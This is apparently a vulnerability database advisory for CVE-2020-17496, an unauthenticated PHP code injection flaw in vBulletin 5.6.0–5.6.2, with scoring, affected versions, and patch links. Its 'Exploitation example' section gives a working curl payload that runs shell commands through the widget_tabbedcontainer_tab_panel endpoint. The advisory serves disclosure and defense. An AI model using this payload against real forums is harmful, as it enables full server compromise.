Remote code execution in vBulletin

1) Code Injection

EUVDB-ID: #VU42751

Risk: High

CVSSv4.0: 9.3 [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:A/U:Amber]

CVE-ID: CVE-2020-17496

CWE-ID: CWE-94 - Improper Control of Generation of Code ('Code Injection')

Exploit availability: Yes

Description

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to improper input validation when processing untrused input passed via the "subWidgets[0][config][code]" HTTP parameter to "/ajax/render/widget_tabbedcontainer_tab_panel" URL. A remote attacker can send a specially crafted request and execute arbitrary PHP code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Exploitation example:

curl -s http://SITE/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec("id"); exit;'

Mitigation

Install updates from vendor's website.

Vulnerable software versions

vBulletin: 5.6.0 Patch Level 1 - 5.6.2

CPE2.3

• cpe:2.3:a:vbulletin:vbulletin:5.6.0 Patch Level 1:*:*:*:*:*:*:*
• cpe:2.3:a:vbulletin:vbulletin:5.6.0:*:*:*:*:*:*:*
• cpe:2.3:a:vbulletin:vbulletin:5.6.1 Patch Level 1:*:*:*:*:*:*:*

External links

https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4445227-vbulletin-5-6-0-5-6-1-5-6-2-security-patch
https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/

Q & A

Can this vulnerability be exploited remotely?

Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.

Is there known malware, which exploits this vulnerability?

No. We are not aware of malware exploiting this vulnerability.